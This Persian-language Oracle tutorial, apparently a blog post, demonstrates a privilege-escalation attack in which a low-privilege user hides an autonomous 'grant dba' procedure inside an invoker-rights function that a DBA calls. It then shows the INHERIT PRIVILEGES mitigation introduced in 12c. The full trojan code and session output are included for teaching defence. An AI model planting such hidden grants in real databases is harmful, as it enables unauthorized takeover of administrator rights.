قبلا در مورد invoker right و definer right مطلبی را ارائه کردیم(ادرس مطلب) و نشان دادیم که استفاده از عبارت AUTHID CURRENT_USER چه مزیت امنیتی ای را به همراه دارد اما استفاده از invoker right در زمانی که مجوزهای invoker از definer بیشتر باشد، نقایصی را هم به لحاظ امنیتی در برخواهد داشت که در ادامه با ارائه مثالی، به این نقصان خواهیم پرداخت.
فرض کنید کاربر usef، تابعی را ایجاد کرده است که نام افراد را به عنوان ورودی دریافت کرده و کد پرسنلی انها را برمی گرداند در همین محیط، چندین کاربر با دسترسی dba، این تابع را فراخوانی می کنند کاربر usef که دسترسی بسیار محدودی هم دارد، با اگاهی از این مطلب، می تواند از این فراخوانی ساده، نقش dba را از ان خود کند! چطور؟! ادامه را بخوانید.
فرض کنید کاربر usef، با مجوزهای زیر ایجاد شده است:
SQL> create user usef identified by a;
User created.
SQL> grant connect, create procedure to usef;
Grant succeeded.
همچنین متن تابع ایجاد شده توسط این کاربر، به صورت زیر می باشد:
create or replace function person_code(name in varchar2)
return number authid current_user as
begin
if name=’usef’ then
return 76451096;
elsif name=’vahid’ then
return 76451215;
end if;
end;
کاربر دیگری هم در این محیط وجود دارد که با دسترسی dba، از این تابع استفاده می کند:
SQL> create user dba_karbar identified by a;
User created.
SQL> grant dba to dba_karbar;
Grant succeeded.
حال اگر کاربر dba_karbar، تابع usef.person_code را فراخوانی کند، بدیهی است که خروجی درست را بدون هیچ مشکلی دریافت می کند:
SQL> conn dba_karbar/a@pdb18c
Connected.
SQL> select usef.person_code(‘usef’) code from dual;
CODE
———-
76451096
فرض کنید که کاربر usef از این مساله اگاه است(فراخوانی تابعش توسط کاربری که مجوز dba دارد)، به همین دلیل می خواهد از این حفره امنیتی بهرمند شود و از این طریق، مجوز dba را از ان خود کند! به همین جهت، کاربر usef، پروسیجر جدیدی را ایجاد می کند که در ان، مجوز dba را به خودش می دهد و در نهایت این پروسیجر را در متن تابع person_code صدا می زند.
متن پروسیجر:
SQL> conn usef/a@pdb18c
Connected.
create or replace procedure dba_grant authid current_user as
pragma autonomous_transaction;
begin
execute immediate ‘grant dba to usef’;
exception
when others then
null;
end;
/
همچنین کاربر usef متن تابع person_code را به صورت زیر تغییر می دهد:
SQL> conn usef/a@pdb18c
Connected.
create or replace function person_code(name in varchar2)
return number authid current_user as
begin
dba_grant;
if name=’usef’ then
return 76451096;
elsif name=’vahid’ then
return 76451215;
end if;
end;
با این تغییر، در صورتی که این تابع توسط کاربر dba_karbar اجرا شود، مجوز dba به کاربر usef اهدا خواهد شد:
SQL> conn dba_karbar/a@pdb18c
Connected.
SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;
GRANTEE
——————————————————————————–
DBA_KARBAR
SYS
SYSTEM
SQL> select usef.person_code(‘usef’) code from dual;
code
———-
76451096
با اجرای مجدد دستور زیر، خواهیم دید که مجوز dba به کاربر usef اهدا شده است:
SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;
GRANTEE
——————-
USEF
DBA_KARBAR
SYS
SYSTEM
برای بررسی بیشتر، با دستور زیر، مجوز dba را از کاربر usef می گیریم:
SQL> revoke dba from usef;
Revoke succeeded.
همراه با ارائه اوراکل 12c، مجوز جدیدی به نام INHERIT [ANY] PRIVILEGES ارائه شد که با کمک ان می توان این حفره امنیتی را برطرف کرد. با ارائه این مجوز، invoker تنها زمانی می تواند با مجوز خودش(AUTHID CURRENT_USER) تابع مورد نظر را صدا بزند که مالک ان تابع، این مجوز(INHERIT PRIVILEGES) را بر روی invoker دارا باشد. این مجوز، به طور پیش فرض به همه کاربران(public) اهدا می شود(به جهت تامین backwards compatibility) ویوی user_tab_privs_made در این زمینه مفید می باشد:
SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;
GRANTEE GRANTOR PRIVILEGE
———- ———- ——————–
PUBLIC DBA_KARBAR INHERIT PRIVILEGES
همچنین با دنبال کردن تریس دستور ساخت کاربر هم ردپای INHERIT PRIVILEGES را خواهیم یافت:
SQL> create user c##usef identified by a;
User created.
–in trace:
PARSING IN CURSOR #139725064743160 len=52 dep=1 uid=0 oct=17 lid=0 tim=744493602920 hv=360987955 ad=’681ade98′ sqlid=’gja9bn4as8g9m’
GRANT INHERIT PRIVILEGES ON USER “C##USEF” TO PUBLIC
END OF STMT
PARSE #139725064743160:c=0,e=539,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=744493602918
برای گرفتن این مجوز از یک کاربر، می توان از دستوری با ساختار زیر استفاده کرد:
GRANT INHERIT PRIVILEGES ON USER invoking_user TO procedure_owner;
پس برای جلوگیری از رخ دادن مجدد مسئله امنیتی پیش امده توسط کاربر usef، می توان دستور زیر را اجرا نمود:
SQL> revoke inherit privileges on user dba_karbar from public;
Revoke succeeded.
با این تغییر، کاربر usef هم مانند کاربران دیگر، نمی تواند از این حفره امنیتی بهرمند شود و اجرای تابع توسط کاربر dba_karbar، نه تنها نقش dba را به کاربر usef نخواهد داد بلکه سبب رخ دادن خطا هم خواهد شد:
SQL> select usef.person_code(‘usef’) code from dual;
ORA-06598: insufficient INHERIT PRIVILEGES privilege
نکته: درصورت حذف عبارت authid current_user در متن تابع person_code، این خطا رخ نخواهد داد(بدون در نظر گرفتن پروسیجر dba_grant).
همچنین می توان با دستور زیر، صرفا کاربر usef را از این قضیه مستثنی کرد:
SQL> grant inherit privileges on user dba_karbar to usef;
Grant succeeded.
SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;
GRANTEE GRANTOR PRIVILEGE
———- ———- ——————–
USEF DBA_KARBAR INHERIT PRIVILEGES
بعد از اجرای این دستور و با فراخوانی مجدد تابع person_code توسط dba_karbar، مجددا کاربر usef، نقش dba خواهد گرفت:
SQL> conn dba_karbar/a@pdb18c
Connected.
SQL> select usef.person_code(‘usef’) code from dual;
CODE
———-
76451096
SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;
GRANTEE
———-
USEF
DBA_KARBAR
SYS
SYSTEM
همچنین با اهدای مجوز inherit any privileges به یک کاربر، می توان آن کاربر را از همه محدودیتهای ایجاد شده با دستور revoke inherit privileges مستثنا کرد:
SQL> revoke dba from usef;
Revoke succeeded.
SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;
no rows selected
SQL> select usef.person_code(‘usef’) code from dual;
ORA-06598: insufficient INHERIT PRIVILEGES privilege
SQL> grant inherit any privileges to usef;
Grant succeeded.
SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;
no rows selected
SQL> select usef.person_code(‘usef’) code from dual;
CODE
———-
76451096
SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;
GRANTEE
———-
USEF
DBA_USR
SYS
SYSTEM
Comment (1)